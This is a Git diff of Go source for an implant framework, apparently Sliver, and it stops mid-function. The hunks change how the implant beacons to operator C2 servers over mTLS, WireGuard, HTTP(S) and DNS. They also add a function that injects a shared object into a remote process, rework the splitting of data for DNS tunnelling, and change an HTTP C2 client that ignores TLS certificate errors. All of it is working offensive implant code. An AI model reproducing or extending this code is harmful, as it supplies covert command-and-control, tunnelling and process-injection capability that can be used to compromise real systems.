@@ -115,3 +106,8 @@ func Sideload(procName string, data []byte, args string, kill bool) (string, err
|
||||
//{{end}}
|
||||
return stdOut.String(), nil
|
||||
}
|
||||
|
||||
// LibTask - injects a shared object into a remote process
|
||||
func LibTask(processID int, data []byte) error {
|
||||
return libraryTask(data, processID)
|
||||
}
|
||||
@@ -18,8 +18,6 @@ package transports
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// {{if .Config.IsBeacon}}
|
||||
|
||||
import (
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
@@ -60,10 +58,6 @@ import (
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
var (
|
||||
_ url.URL
|
||||
)
|
||||
|
||||
type BeaconInit func() error
|
||||
type BeaconStart func() error
|
||||
type BeaconRecv func() (*pb.Envelope, error)
|
||||
@@ -79,25 +73,6 @@ type Beacon struct {
|
||||
Recv BeaconRecv
|
||||
Close BeaconClose
|
||||
Cleanup BeaconCleanup
|
||||
|
||||
url *url.URL
|
||||
proxyURL *url.URL
|
||||
}
|
||||
|
||||
// URL - Returns the c2 URL of the beacon
|
||||
func (b *Beacon) URL() string {
|
||||
if b.url == nil {
|
||||
return ""
|
||||
}
|
||||
return b.url.String()
|
||||
}
|
||||
|
||||
// ProxyURL - Returns the c2 URL of the beacon
|
||||
func (b *Beacon) ProxyURL() string {
|
||||
if b.proxyURL == nil {
|
||||
return ""
|
||||
}
|
||||
return b.url.String()
|
||||
}
|
||||
|
||||
// Interval - Interval between beacons
|
||||
@@ -166,11 +141,13 @@ func StartBeaconLoop(c2s []string, abort <-chan struct{}) <-chan *Beacon {
|
||||
// {{if .Config.MTLSc2Enabled}}
|
||||
case "mtls":
|
||||
beacon = mtlsBeacon(uri)
|
||||
activeC2 = uri.String()
|
||||
// {{end}} - MTLSc2Enabled
|
||||
case "wg":
|
||||
// *** WG ***
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
beacon = wgBeacon(uri)
|
||||
activeC2 = uri.String()
|
||||
// {{end}} - WGc2Enabled
|
||||
case "https":
|
||||
fallthrough
|
||||
@@ -178,12 +155,14 @@ func StartBeaconLoop(c2s []string, abort <-chan struct{}) <-chan *Beacon {
|
||||
// *** HTTP ***
|
||||
// {{if .Config.HTTPc2Enabled}}
|
||||
beacon = httpBeacon(uri)
|
||||
activeC2 = uri.String()
|
||||
// {{end}} - HTTPc2Enabled
|
||||
|
||||
case "dns":
|
||||
// *** DNS ***
|
||||
// {{if .Config.DNSc2Enabled}}
|
||||
beacon = dnsBeacon(uri)
|
||||
activeC2 = uri.String()
|
||||
// {{end}} - DNSc2Enabled
|
||||
|
||||
default:
|
||||
@@ -205,7 +184,7 @@ func StartBeaconLoop(c2s []string, abort <-chan struct{}) <-chan *Beacon {
|
||||
// {{if .Config.MTLSc2Enabled}}
|
||||
func mtlsBeacon(uri *url.URL) *Beacon {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Beacon -> %s", uri.String())
|
||||
log.Printf("Establishing Beacon -> %s", uri.String())
|
||||
// {{end}}
|
||||
var err error
|
||||
lport, err := strconv.Atoi(uri.Port())
|
||||
@@ -327,6 +306,7 @@ func httpBeacon(uri *url.URL) *Beacon {
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
proxyURL = client.ProxyURL
|
||||
return nil
|
||||
},
|
||||
Start: func() error {
|
||||
@@ -386,6 +366,4 @@ func dnsBeacon(uri *url.URL) *Beacon {
|
||||
return beacon
|
||||
}
|
||||
|
||||
// {{end}} - DNSc2Enabled
|
||||
|
||||
// {{end}} - IsBeacon
|
||||
// {{end}}
|
||||
@@ -91,7 +91,6 @@ var (
|
||||
ErrClosed = errors.New("dns session closed")
|
||||
ErrInvalidResponse = errors.New("invalid response")
|
||||
ErrInvalidIndex = errors.New("invalid start/stop index")
|
||||
ErrEmptyResponse = errors.New("empty response")
|
||||
)
|
||||
|
||||
// DNSOptions - c2 specific options
|
||||
@@ -99,7 +98,6 @@ type DNSOptions struct {
|
||||
QueryTimeout time.Duration
|
||||
RetryWait time.Duration
|
||||
RetryCount int
|
||||
MaxErrors int
|
||||
WokersPerResolver int
|
||||
ForceBase32 bool
|
||||
ForceResolvConf string
|
||||
@@ -127,17 +125,11 @@ func ParseDNSOptions(c2URI *url.URL) *DNSOptions {
|
||||
if err != nil || workersPerResolver < 1 {
|
||||
workersPerResolver = 2
|
||||
}
|
||||
// Max errors
|
||||
maxErrors, err := strconv.Atoi(c2URI.Query().Get("max-errors"))
|
||||
if err != nil || maxErrors < 0 {
|
||||
maxErrors = 10
|
||||
}
|
||||
|
||||
return &DNSOptions{
|
||||
QueryTimeout: queryTimeout,
|
||||
RetryWait: retryWait,
|
||||
RetryCount: retryCount,
|
||||
MaxErrors: maxErrors,
|
||||
WokersPerResolver: workersPerResolver,
|
||||
ForceBase32: strings.ToLower(c2URI.Query().Get("force-base32")) == "true",
|
||||
ForceResolvConf: c2URI.Query().Get("force-resolv-conf"),
|
||||
@@ -444,12 +436,6 @@ func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) {
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] read msg resp data: %v", respData)
|
||||
// {{end}}
|
||||
if len(respData) < 1 {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
dnsMsg := &dnspb.DNSMessage{}
|
||||
err = proto.Unmarshal(respData, dnsMsg)
|
||||
@@ -626,29 +612,22 @@ func (s *SliverDNSClient) SplitBuffer(msg *dnspb.DNSMessage, encoder encoders.En
|
||||
stop := start
|
||||
lastLen := 0
|
||||
var encoded string
|
||||
// {{if .Config.Debug}}
|
||||
encodedSubdata := []string{}
|
||||
// {{end}}
|
||||
for index := 0; stop < len(data); index++ {
|
||||
if len(data) < index {
|
||||
panic("boundary miscalculation") // We should always be able to encode more than one byte
|
||||
}
|
||||
msg.Start = uint32(start)
|
||||
if lastLen == 0 {
|
||||
stop += int(float64(s.subdataSpace)/2) - 1 // base32 overhead is about 160%
|
||||
stop += int(float64(s.subdataSpace) / 2) // base32 overhead is about 160%
|
||||
} else {
|
||||
stop += (lastLen - 4) // max start uint32 overhead
|
||||
}
|
||||
if len(data) <= stop {
|
||||
if len(data) < stop {
|
||||
stop = len(data) - 1 // make sure the loop is executed at least once
|
||||
}
|
||||
|
||||
// Sometimes adding a byte will result in +2 chars so we -1 the subdata space
|
||||
encoded = ""
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] encoded: %d, subdata space: %d | stop: %d, len: %d",
|
||||
len(encoded), (s.subdataSpace - 1), stop, len(data))
|
||||
// {{end}}
|
||||
for len(encoded) < (s.subdataSpace-1) && stop < len(data) {
|
||||
stop++
|
||||
// {{if .Config.Debug}}
|
||||
@@ -662,9 +641,6 @@ func (s *SliverDNSClient) SplitBuffer(msg *dnspb.DNSMessage, encoder encoders.En
|
||||
// {{end}}
|
||||
}
|
||||
lastLen = len(msg.Data) // Save the amount of data that fit for the next loop
|
||||
// {{if .Config.Debug}}
|
||||
encodedSubdata = append(encodedSubdata, encoded)
|
||||
// {{end}}
|
||||
domain, err := s.joinSubdataToParent(encoded)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -675,28 +651,6 @@ func (s *SliverDNSClient) SplitBuffer(msg *dnspb.DNSMessage, encoder encoders.En
|
||||
subdata = append(subdata, domain)
|
||||
start = stop
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
total := 0
|
||||
for index, domain := range encodedSubdata {
|
||||
dnsMsg := &dnspb.DNSMessage{}
|
||||
rawData, err := encoder.Decode([]byte(domain))
|
||||
if err != nil {
|
||||
log.Printf("[dns] decode failed: %s", err)
|
||||
panic("failed to decode subdata")
|
||||
}
|
||||
proto.Unmarshal(rawData, dnsMsg)
|
||||
total += len(dnsMsg.Data)
|
||||
log.Printf("[dns] subdata %d (%d->%d): %d bytes",
|
||||
index, dnsMsg.Start, int(dnsMsg.Start)+len(dnsMsg.Data), len(dnsMsg.Data))
|
||||
}
|
||||
log.Printf("[dns] original data: %d bytes", len(data))
|
||||
log.Printf("[dns] total subdata: %d bytes", total)
|
||||
if total != len(data) {
|
||||
panic("failed to properly encode subdata")
|
||||
}
|
||||
// {{end}}
|
||||
|
||||
return subdata, nil
|
||||
}
|
||||
|
||||
|
||||
@@ -64,12 +64,10 @@ type GenericResolver struct {
|
||||
base64 encoders.Base64
|
||||
}
|
||||
|
||||
// Address - Return the address of the resolver
|
||||
func (r *GenericResolver) Address() string {
|
||||
return r.address
|
||||
}
|
||||
|
||||
// A - Query for A records
|
||||
func (r *GenericResolver) A(domain string) ([]byte, time.Duration, error) {
|
||||
var resp []byte
|
||||
var rtt time.Duration
|
||||
@@ -114,7 +112,6 @@ func (r *GenericResolver) a(domain string) ([]byte, time.Duration, error) {
|
||||
return records, rtt, err
|
||||
}
|
||||
|
||||
// TXT - Query for TXT records
|
||||
func (r *GenericResolver) TXT(domain string) ([]byte, time.Duration, error) {
|
||||
var resp []byte
|
||||
var rtt time.Duration
|
||||
|
||||
@@ -30,7 +30,7 @@ import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/encoders"
|
||||
)
|
||||
|
||||
// NewSystemResolver - Initialize a new system resolver
|
||||
// NewSystemResolver -
|
||||
func NewSystemResolver() DNSResolver {
|
||||
return &SystemResolver{
|
||||
base64: encoders.Base64{},
|
||||
@@ -42,12 +42,10 @@ type SystemResolver struct {
|
||||
base64 encoders.Base64
|
||||
}
|
||||
|
||||
// Address - Returns the address of the resolver
|
||||
func (r *SystemResolver) Address() string {
|
||||
return "system"
|
||||
}
|
||||
|
||||
// A - Query for A records
|
||||
func (r *SystemResolver) A(domain string) ([]byte, time.Duration, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] %s->A record of %s?", r.Address(), domain)
|
||||
@@ -70,7 +68,6 @@ func (r *SystemResolver) A(domain string) ([]byte, time.Duration, error) {
|
||||
return addrs, rtt, nil
|
||||
}
|
||||
|
||||
// TXT - Query for TXT records
|
||||
func (r *SystemResolver) TXT(domain string) ([]byte, time.Duration, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] %s->A record of %s?", r.Address(), domain)
|
||||
|
||||
@@ -1,42 +0,0 @@
|
||||
//go:build !windows
|
||||
|
||||
package httpclient
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
// GetHTTPDriver - Get an instance of the specified HTTP driver
|
||||
func GetHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
|
||||
switch opts.Driver {
|
||||
|
||||
case goHTTPDriver:
|
||||
return GoHTTPDriver(origin, secure, opts)
|
||||
|
||||
default:
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("WARNING: unknown HTTP driver: %s", opts.Driver)
|
||||
// {{end}}
|
||||
return GoHTTPDriver(origin, secure, opts)
|
||||
}
|
||||
}
|
||||
@@ -1,67 +0,0 @@
|
||||
package httpclient
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"net/url"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports/httpclient/winhttp"
|
||||
)
|
||||
|
||||
// GetHTTPDriver - Get an instance of the specified HTTP driver
|
||||
func GetHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
|
||||
switch opts.Driver {
|
||||
|
||||
case goHTTPDriver:
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Using go http driver")
|
||||
// {{end}}
|
||||
return GoHTTPDriver(origin, secure, opts)
|
||||
|
||||
case winHTTPDriver:
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Using winhttp driver")
|
||||
// {{end}}
|
||||
return WinHTTPDriver(origin, secure, opts)
|
||||
|
||||
default:
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("WARNING: unknown HTTP driver: %s", opts.Driver)
|
||||
// {{end}}
|
||||
return GoHTTPDriver(origin, secure, opts)
|
||||
}
|
||||
}
|
||||
|
||||
// WinHTTPDriver - Initialize a WinHTTP driver (Windows only)
|
||||
func WinHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
|
||||
port := uint16(80)
|
||||
if secure {
|
||||
port = uint16(80)
|
||||
}
|
||||
c2URL, err := url.Parse(origin)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
driver := winhttp.NewWinHTTPClient(c2URL.Host, port)
|
||||
return driver, nil
|
||||
}
|
||||
@@ -1,134 +0,0 @@
|
||||
package httpclient
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"sync"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/proxy"
|
||||
)
|
||||
|
||||
// GoHTTPDriver - Pure Go HTTP driver
|
||||
func GoHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
|
||||
var transport *http.Transport
|
||||
if !secure {
|
||||
transport = &http.Transport{
|
||||
Dial: proxy.Direct.Dial,
|
||||
TLSHandshakeTimeout: opts.TlsTimeout,
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
|
||||
}
|
||||
} else {
|
||||
transport = &http.Transport{
|
||||
Dial: (&net.Dialer{
|
||||
Timeout: opts.NetTimeout,
|
||||
}).Dial,
|
||||
TLSHandshakeTimeout: opts.TlsTimeout,
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
|
||||
}
|
||||
}
|
||||
client := &http.Client{
|
||||
Jar: cookieJar(),
|
||||
Timeout: opts.NetTimeout,
|
||||
Transport: transport,
|
||||
}
|
||||
parseProxyConfig(origin, transport, opts.ProxyConfig)
|
||||
return client, nil
|
||||
}
|
||||
|
||||
func parseProxyConfig(origin string, transport *http.Transport, proxyConfig string) {
|
||||
switch proxyConfig {
|
||||
case "never":
|
||||
break
|
||||
case "":
|
||||
fallthrough
|
||||
case "auto":
|
||||
p := proxy.NewProvider("").GetHTTPSProxy(origin)
|
||||
if p != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Found proxy %#v\n", p)
|
||||
// {{end}}
|
||||
proxyURL := p.URL()
|
||||
if proxyURL.Scheme == "" {
|
||||
proxyURL.Scheme = "https"
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Proxy URL = '%s'\n", proxyURL)
|
||||
// {{end}}
|
||||
transport.Proxy = http.ProxyURL(proxyURL)
|
||||
}
|
||||
default:
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Force proxy %#v\n", proxyConfig)
|
||||
// {{end}}
|
||||
proxyURL, err := url.Parse(proxyConfig)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
if proxyURL.Scheme == "" {
|
||||
proxyURL.Scheme = "https"
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Proxy URL = '%s'\n", proxyURL)
|
||||
// {{end}}
|
||||
transport.Proxy = http.ProxyURL(proxyURL)
|
||||
}
|
||||
}
|
||||
|
||||
// Jar - CookieJar implementation that ignores domains/origins
|
||||
type Jar struct {
|
||||
lk sync.Mutex
|
||||
cookies []*http.Cookie
|
||||
}
|
||||
|
||||
func cookieJar() *Jar {
|
||||
return &Jar{
|
||||
lk: sync.Mutex{},
|
||||
cookies: []*http.Cookie{},
|
||||
}
|
||||
}
|
||||
|
||||
// NewJar - Get a new instance of a cookie jar
|
||||
func NewJar() *Jar {
|
||||
jar := new(Jar)
|
||||
jar.cookies = make([]*http.Cookie, 0)
|
||||
return jar
|
||||
}
|
||||
|
||||
// SetCookies handles the receipt of the cookies in a reply for the
|
||||
// given URL (which is ignored).
|
||||
func (jar *Jar) SetCookies(u *url.URL, cookies []*http.Cookie) {
|
||||
jar.lk.Lock()
|
||||
jar.cookies = append(jar.cookies, cookies...)
|
||||
jar.lk.Unlock()
|
||||
}
|
||||
|
||||
// Cookies returns the cookies to send in a request for the given URL.
|
||||
// It is up to the implementation to honor the standard cookie use
|
||||
// restrictions such as in RFC 6265 (which we do not).
|
||||
func (jar *Jar) Cookies(u *url.URL) []*http.Cookie {
|
||||
return jar.cookies
|
||||
}
|
||||
@@ -21,35 +21,34 @@ package httpclient
|
||||
// {{if .Config.HTTPc2Enabled}}
|
||||
|
||||
import (
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
insecureRand "math/rand"
|
||||
"strings"
|
||||
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/cryptography"
|
||||
"github.com/bishopfox/sliver/implant/sliver/encoders"
|
||||
"github.com/bishopfox/sliver/implant/sliver/proxy"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
goHTTPDriver = "go"
|
||||
winHTTPDriver = "winhttp"
|
||||
|
||||
userAgent = "{{GenerateUserAgent}}"
|
||||
nonceQueryArgs = "abcdefghijklmnopqrstuvwxyz_"
|
||||
acceptHeaderValue = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
|
||||
@@ -62,11 +61,9 @@ var (
|
||||
|
||||
// HTTPOptions - c2 specific configuration options
|
||||
type HTTPOptions struct {
|
||||
Driver string
|
||||
NetTimeout time.Duration
|
||||
TlsTimeout time.Duration
|
||||
PollTimeout time.Duration
|
||||
MaxErrors int
|
||||
|
||||
ProxyConfig string
|
||||
ProxyUsername string
|
||||
@@ -77,31 +74,29 @@ type HTTPOptions struct {
|
||||
func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
|
||||
netTimeout, err := time.ParseDuration(c2URI.Query().Get("net-timeout"))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to parse poll-timeout %s", err)
|
||||
// {{end}}
|
||||
netTimeout = time.Duration(30 * time.Second)
|
||||
}
|
||||
tlsTimeout, err := time.ParseDuration(c2URI.Query().Get("tls-timeout"))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to parse poll-timeout %s", err)
|
||||
// {{end}}
|
||||
tlsTimeout = time.Duration(30 * time.Second)
|
||||
}
|
||||
pollTimeout, err := time.ParseDuration(c2URI.Query().Get("poll-timeout"))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to parse poll-timeout %s", err)
|
||||
// {{end}}
|
||||
pollTimeout = time.Duration(30 * time.Second)
|
||||
}
|
||||
maxErrors, err := strconv.Atoi(c2URI.Query().Get("max-errors"))
|
||||
if err != nil || maxErrors < 0 {
|
||||
maxErrors = 10
|
||||
}
|
||||
driverName := strings.TrimSpace(strings.ToLower(c2URI.Query().Get("driver")))
|
||||
if driverName == "" {
|
||||
driverName = goHTTPDriver
|
||||
}
|
||||
|
||||
return &HTTPOptions{
|
||||
Driver: driverName,
|
||||
NetTimeout: netTimeout,
|
||||
TlsTimeout: tlsTimeout,
|
||||
PollTimeout: pollTimeout,
|
||||
MaxErrors: maxErrors,
|
||||
|
||||
ProxyConfig: c2URI.Query().Get("proxy"),
|
||||
ProxyUsername: c2URI.Query().Get("proxy-username"),
|
||||
@@ -112,7 +107,7 @@ func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
|
||||
// HTTPStartSession - Attempts to start a session with a given address
|
||||
func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*SliverHTTPClient, error) {
|
||||
var client *SliverHTTPClient
|
||||
client = httpsClient(address, opts)
|
||||
client = httpsClient(address, opts.NetTimeout, opts.TlsTimeout, opts.ProxyConfig)
|
||||
client.pollTimeout = opts.PollTimeout
|
||||
client.PathPrefix = pathPrefix
|
||||
err := client.SessionInit()
|
||||
@@ -121,7 +116,7 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
|
||||
if strings.HasSuffix(address, ":443") {
|
||||
address = fmt.Sprintf("%s:80", address[:len(address)-4])
|
||||
}
|
||||
client = httpClient(address, opts) // Fallback to insecure HTTP
|
||||
client = httpClient(address, opts.NetTimeout, opts.TlsTimeout, opts.ProxyConfig) // Fallback to insecure HTTP
|
||||
err = client.SessionInit()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -130,16 +125,11 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
|
||||
return client, nil
|
||||
}
|
||||
|
||||
// HTTPDriver - The interface to send/recv HTTP data
|
||||
type HTTPDriver interface {
|
||||
Do(req *http.Request) (*http.Response, error)
|
||||
}
|
||||
|
||||
// SliverHTTPClient - Helper struct to keep everything together
|
||||
type SliverHTTPClient struct {
|
||||
Origin string
|
||||
PathPrefix string
|
||||
driver HTTPDriver
|
||||
Client *http.Client
|
||||
ProxyURL string
|
||||
SessionCtx *cryptography.CipherContext
|
||||
SessionID string
|
||||
@@ -235,7 +225,7 @@ func (s *SliverHTTPClient) DoPoll(req *http.Request) (*http.Response, []byte, er
|
||||
var data []byte
|
||||
var err error
|
||||
go func() {
|
||||
resp, err = s.driver.Do(req.WithContext(ctx))
|
||||
resp, err = s.Client.Do(req.WithContext(ctx))
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
done <- ctx.Err()
|
||||
@@ -276,7 +266,7 @@ func (s *SliverHTTPClient) establishSessionID(sessionInit []byte) error {
|
||||
log.Printf("[http] POST -> %s (%d bytes)", uri, len(sessionInit))
|
||||
// {{end}}
|
||||
|
||||
resp, err := s.driver.Do(req)
|
||||
resp, err := s.Client.Do(req)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] http response error: %s", err)
|
||||
@@ -411,7 +401,7 @@ func (s *SliverHTTPClient) WriteEnvelope(envelope *pb.Envelope) error {
|
||||
// {{end}}
|
||||
|
||||
req := s.newHTTPRequest(http.MethodPost, uri, reader)
|
||||
resp, err := s.driver.Do(req)
|
||||
resp, err := s.Client.Do(req)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] POST request completed")
|
||||
// {{end}}
|
||||
@@ -455,7 +445,7 @@ func (s *SliverHTTPClient) CloseSession() error {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] GET -> %s", uri)
|
||||
// {{end}}
|
||||
resp, err := s.driver.Do(req)
|
||||
resp, err := s.Client.Do(req)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] GET failed %v", err)
|
||||
@@ -565,40 +555,122 @@ func (s *SliverHTTPClient) randomPath(segments []string, filenames []string, ext
|
||||
|
||||
// [ HTTP(S) Clients ] ------------------------------------------------------------
|
||||
|
||||
func httpClient(address string, opts *HTTPOptions) *SliverHTTPClient {
|
||||
origin := fmt.Sprintf("http://%s", address)
|
||||
driver, err := GetHTTPDriver(origin, false, opts)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] failed to initialize driver: %v", err)
|
||||
// {{end}}
|
||||
return nil
|
||||
func httpClient(address string, netTimeout time.Duration, tlsTimeout time.Duration, proxyConfig string) *SliverHTTPClient {
|
||||
transport := &http.Transport{
|
||||
Dial: proxy.Direct.Dial,
|
||||
TLSHandshakeTimeout: tlsTimeout,
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
|
||||
}
|
||||
client := &SliverHTTPClient{
|
||||
Origin: origin,
|
||||
driver: driver,
|
||||
Origin: fmt.Sprintf("http://%s", address),
|
||||
Client: &http.Client{
|
||||
Jar: cookieJar(),
|
||||
Timeout: netTimeout,
|
||||
Transport: transport,
|
||||
},
|
||||
pollMutex: &sync.Mutex{},
|
||||
Closed: false,
|
||||
}
|
||||
parseProxyConfig(client, transport, proxyConfig)
|
||||
return client
|
||||
}
|
||||
|
||||
func httpsClient(address string, opts *HTTPOptions) *SliverHTTPClient {
|
||||
origin := fmt.Sprintf("https://%s", address)
|
||||
driver, err := GetHTTPDriver(origin, true, opts)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] failed to initialize driver: %v", err)
|
||||
// {{end}}
|
||||
return nil
|
||||
func httpsClient(address string, netTimeout time.Duration, tlsTimeout time.Duration, proxyConfig string) *SliverHTTPClient {
|
||||
transport := &http.Transport{
|
||||
Dial: (&net.Dialer{
|
||||
Timeout: netTimeout,
|
||||
}).Dial,
|
||||
TLSHandshakeTimeout: tlsTimeout,
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
|
||||
}
|
||||
client := &SliverHTTPClient{
|
||||
Origin: origin,
|
||||
driver: driver,
|
||||
Origin: fmt.Sprintf("https://%s", address),
|
||||
Client: &http.Client{
|
||||
Jar: cookieJar(),
|
||||
Timeout: netTimeout,
|
||||
Transport: transport,
|
||||
},
|
||||
pollMutex: &sync.Mutex{},
|
||||
Closed: false,
|
||||
}
|
||||
parseProxyConfig(client, transport, proxyConfig)
|
||||
return client
|
||||
}
|
||||
|
||||
func parseProxyConfig(client *SliverHTTPClient, transport *http.Transport, proxyConfig string) {
|
||||
switch proxyConfig {
|
||||
case "never":
|
||||
break
|
||||
case "":
|
||||
fallthrough
|
||||
case "auto":
|
||||
p := proxy.NewProvider("").GetHTTPSProxy(client.Origin)
|
||||
if p != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Found proxy %#v\n", p)
|
||||
// {{end}}
|
||||
proxyURL := p.URL()
|
||||
if proxyURL.Scheme == "" {
|
||||
proxyURL.Scheme = "https"
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Proxy URL = '%s'\n", proxyURL)
|
||||
// {{end}}
|
||||
transport.Proxy = http.ProxyURL(proxyURL)
|
||||
client.ProxyURL = proxyURL.String()
|
||||
}
|
||||
default:
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Force proxy %#v\n", proxyConfig)
|
||||
// {{end}}
|
||||
proxyURL, err := url.Parse(proxyConfig)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
if proxyURL.Scheme == "" {
|
||||
proxyURL.Scheme = "https"
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Proxy URL = '%s'\n", proxyURL)
|
||||
// {{end}}
|
||||
transport.Proxy = http.ProxyURL(proxyURL)
|
||||
client.ProxyURL = proxyURL.String()
|
||||
}
|
||||
}
|
||||
|
||||
// Jar - CookieJar implementation that ignores domains/origins
|
||||
type Jar struct {
|
||||
lk sync.Mutex
|
||||
cookies []*http.Cookie
|
||||
}
|
||||
|
||||
func cookieJar() *Jar {
|
||||
return &Jar{
|
||||
lk: sync.Mutex{},
|
||||
cookies: []*http.Cookie{},
|
||||
}
|
||||
}
|
||||
|
||||
// NewJar - Get a new instance of a cookie jar
|
||||
func NewJar() *Jar {
|
||||
jar := new(Jar)
|
||||
